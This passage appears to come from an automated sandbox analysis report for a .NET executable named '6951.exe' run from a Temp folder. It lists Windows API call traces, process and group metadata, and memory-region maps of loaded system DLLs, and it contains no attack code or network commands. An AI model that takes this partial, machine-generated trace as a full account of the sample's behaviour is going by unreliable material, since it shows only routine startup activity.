bInitialState=0, lpName=0x0) returned 0xe0 [0223.360] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4 [0223.360] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0223.632] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0231.352] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) Thread: id = 146 os_tid = 0x1340 [0223.496] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x35cfea0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x35cfea0*=0xe8) returned 1 [0223.496] VirtualQuery (in: lpAddress=0x35cfec0, lpBuffer=0x35cfec0, dwLength=0x30 | out: lpBuffer=0x35cfec0*(BaseAddress=0x35cf000, AllocationBase=0x33d0000, AllocationProtect=0x4, __alignment1=0xfffff802, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0223.496] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xec [0223.496] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0 [0223.496] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0223.564] SetEvent (hEvent=0xd4) returned 1 [0223.564] SetEvent (hEvent=0xcc) returned 1 [0223.564] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0231.428] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0231.877] SetEvent (hEvent=0xcc) returned 1 [0231.877] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0232.616] SetEvent (hEvent=0xcc) returned 1 [0232.616] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0233.263] SetEvent (hEvent=0xcc) returned 1 [0233.263] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0234.603] SetEvent (hEvent=0xcc) returned 1 [0234.604] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0236.059] SetEvent (hEvent=0xcc) returned 1 [0236.059] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0236.809] SetEvent (hEvent=0xcc) returned 1 [0236.810] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0238.688] SetEvent (hEvent=0xcc) returned 1 [0238.688] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0239.606] SetEvent (hEvent=0xcc) returned 1 [0239.606] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0240.865] SetEvent (hEvent=0xcc) returned 1 [0240.865] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0245.362] SetEvent (hEvent=0xcc) returned 1 [0245.362] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0250.987] SwitchToThread () returned 1 [0251.573] SetEvent (hEvent=0xcc) returned 1 [0251.573] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0256.738] SetEvent (hEvent=0xcc) returned 1 [0256.738] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0265.008] SwitchToThread () returned 1 [0265.768] SetEvent (hEvent=0xcc) returned 1 [0266.883] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0270.015] SetEvent (hEvent=0xcc) returned 1 [0270.015] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0273.059] SetEvent (hEvent=0xcc) returned 1 [0273.059] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0275.944] SetEvent (hEvent=0xcc) returned 1 [0275.944] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0280.402] SetEvent (hEvent=0xcc) returned 1 [0280.402] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0282.337] SetEvent (hEvent=0xcc) returned 1 [0282.337] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0283.683] SetEvent (hEvent=0xcc) returned 1 [0283.683] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0287.497] SetEvent (hEvent=0xcc) returned 1 [0287.497] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0288.255] SetEvent (hEvent=0xcc) returned 1 [0288.255] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0294.722] SetEvent (hEvent=0xcc) returned 1 [0294.722] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0296.845] SetEvent (hEvent=0xcc) returned 1 [0296.846] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0299.659] SetEvent (hEvent=0xcc) returned 1 [0299.659] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0300.848] SetEvent (hEvent=0xcc) returned 1 [0300.848] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0302.941] SetEvent (hEvent=0xcc) returned 1 [0302.941] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0305.914] SetEvent (hEvent=0xcc) returned 1 [0305.914] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0306.836] SetEvent (hEvent=0xcc) returned 1 [0306.836] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 Process: id = "7" image_name = "6951.exe" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\6951.exe" page_root = "0x2a704000" os_pid = "0x13a0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x618" cmd_line = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\6951.exe" cur_dir = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 10396 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 10397 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 10398 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 10399 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 10400 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 10401 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 10402 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 10403 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 10404 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 10405 start_va = 0x400000 end_va = 0x4fbfff monitored = 1 entry_point = 0x4f6c8e region_type = mapped_file name = "6951.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\6951.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\6951.exe") Region: id = 10406 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 10407 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 10408 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 10409 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 10410 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10411 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 10687 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 10688 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 10689 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 10690 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 10691 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 10837 start_va = 0x560000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 10838 start_va = 0x6cd80000 end_va = 0x6cdd8fff monitored = 1 entry_point = 0x6cd90780 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 10951 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 10952 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 10974 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 10975 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 10976 start_va = 0x6b0000 end_va = 0x76dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 10977 start_va = 0x770000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 11019 start_va = 0x74810000 end_va = 0x748a1fff monitored = 0 entry_point = 0x74850380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 11099 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 11259 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 11297 start_va = 0x77b10000 end_va = 0x77b8afff monitored = 0 entry_point = 0x77b2e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 11298 start_va = 0x74a10000 end_va = 0x74acdfff monitored = 0 entry_point = 0x74a45630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 11299 start_va = 0x500000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 11300 start_va = 0x770000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 11301 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 11302 start_va = 0x76c50000 end_va = 0x76c93fff monitored = 0 entry_point = 0x76c69d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 11303 start_va = 0x74e80000 end_va = 0x74f2cfff monitored = 0 entry_point = 0x74e94f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 11304 start_va = 0x748c0000 end_va = 0x748ddfff monitored = 0 entry_point = 0x748cb640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 11393 start_va = 0x748b0000 end_va = 0x748b9fff monitored = 0 entry_point = 0x748b2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 11394 start_va = 0x77680000 end_va = 0x776d7fff monitored = 0 entry_point = 0x776c25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 11438 start_va = 0x1d0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 11490 start_va = 0x6cd00000 end_va = 0x6cd78fff monitored = 1 entry_point = 0x6cd0f82a region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 11884 start_va = 0x77590000 end_va = 0x775d4fff monitored = 0 entry_point = 0x775ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 11898 start_va = 0x752b0000 end_va = 0x7546cfff monitored = 0 entry_point = 0x75392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 11899 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 11900 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 11949 start_va = 0x560000 end_va = 0x589fff monitored = 0 entry_point = 0x565680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 11950 start_va = 0x5b0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 11951 start_va = 0x950000 end_va = 0xad7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 11952 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 12177 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 12178 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 12179 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 12180 start_va = 0xae0000 end_va = 0xc60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 12181 start_va = 0xc70000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 12182 start_va = 0x2070000 end_va = 0x2165fff monitored = 1 entry_point = 0x2166c8e region_type = mapped_file name = "6951.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\6951.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\6951.exe") Region: id = 12220 start_va = 0x77320000 end_va = 0x7732bfff monitored = 0 entry_point = 0x77323930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 12351 start_va = 0x6eec0000 end_va = 0x6eec7fff monitored = 0 entry_point = 0x6eec17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 13628 start_va = 0x6c640000 end_va = 0x6ccf0fff monitored = 1 entry_point = 0x6c655d20 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 14247 start_va = 0x6c540000 end_va = 0x6c634fff monitored = 0 entry_point = 0x6c594160 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 15652 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 15653 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 15654 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 15733 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 15911 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 15912 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 15970 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 15971 start_va = 0x870000 end_va = 0x870fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 15972 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 15973 start_va = 0x2070000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 15974 start_va = 0x890000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 15975 start_va = 0x890000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 15976 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 15977 start_va = 0x2070000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 15978 start_va = 0x2170000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 16134 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 16135 start_va = 0x2180000 end_va = 0x417ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 16136 start_va = 0x4180000 end_va = 0x421ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 16192 start_va = 0x4220000 end_va = 0x425ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 16193 start_va = 0x4260000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 17426 start_va = 0x4360000 end_va = 0x4696fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 17706 start_va = 0x6b310000 end_va = 0x6c537fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\8062d427acd64e37f4fded7b00f4a869\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\8062d427acd64e37f4fded7b00f4a869\\mscorlib.ni.dll") Region: id = 17771 start_va = 0x74ad0000 end_va = 0x74bbafff monitored = 0 entry_point = 0x74b0d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 17788 start_va = 0x46a0000 end_va = 0x4730fff monitored = 0 entry_point = 0x46d8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 17805 start_va = 0x70970000 end_va = 0x709e4fff monitored = 0 entry_point = 0x709a9a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 17806 start_va = 0x46a0000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046a0000" filename = "" Region: id = 17898 start_va = 0x8d0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 17904 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 17929 start_va = 0x6b290000 end_va = 0x6b30dfff monitored = 1 entry_point = 0x6b291140 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 17938 start_va = 0x74d80000 end_va = 0x74e11fff monitored = 0 entry_point = 0x74db8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 17951 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 18035 start_va = 0x46a0000 end_va = 0x46dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046a0000" filename = "" Region: id = 18036 start_va = 0x46e0000 end_va = 0x471ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046e0000" filename = "" Region: id = 18037 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 18038 start_va = 0x4770000 end_va = 0x486ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004770000" filename = "" Region: id = 18039 start_va = 0x4870000 end_va = 0x496ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004870000" filename = "" Region: id = 18091 start_va = 0x75690000 end_va = 0x76a8efff monitored = 0 entry_point = 0x7584b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 18099 start_va = 0x76a90000 end_va = 0x76ac6fff monitored = 0 entry_point = 0x76a93b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 18100 start_va = 0x76e20000 end_va = 0x77318fff monitored = 0 entry_point = 0x77027610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 18101 start_va = 0x775e0000 end_va = 0x7766cfff monitored = 0 entry_point = 0x77629b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 18102 start_va = 0x74e20000 end_va = 0x74e63fff monitored = 0 entry_point = 0x74e27410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 18103 start_va = 0x77670000 end_va = 0x7767efff monitored = 0 entry_point = 0x77672e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 18109 start_va = 0x920000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 18126 start_va = 0x4970000 end_va = 0x4acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 18234 start_va = 0x74560000 end_va = 0x7457afff monitored = 0 entry_point = 0x74569050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Thread: id = 154 os_tid = 0x13a4 [0291.439] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0293.138] RoInitialize () returned 0x1 [0293.139] RoUninitialize () returned 0x0 [0300.619] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe", nBufferLength=0x105, lpBuffer=0x19e6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe", lpFilePart=0x0) returned 0x31 [0301.825] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x19e5fc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0301.827] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe", nBufferLength=0x105, lpBuffer=0x19e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe", lpFilePart=0x0) returned 0x31 [0301.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19eb04) returned 1 [0301.978] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe" (normalized: 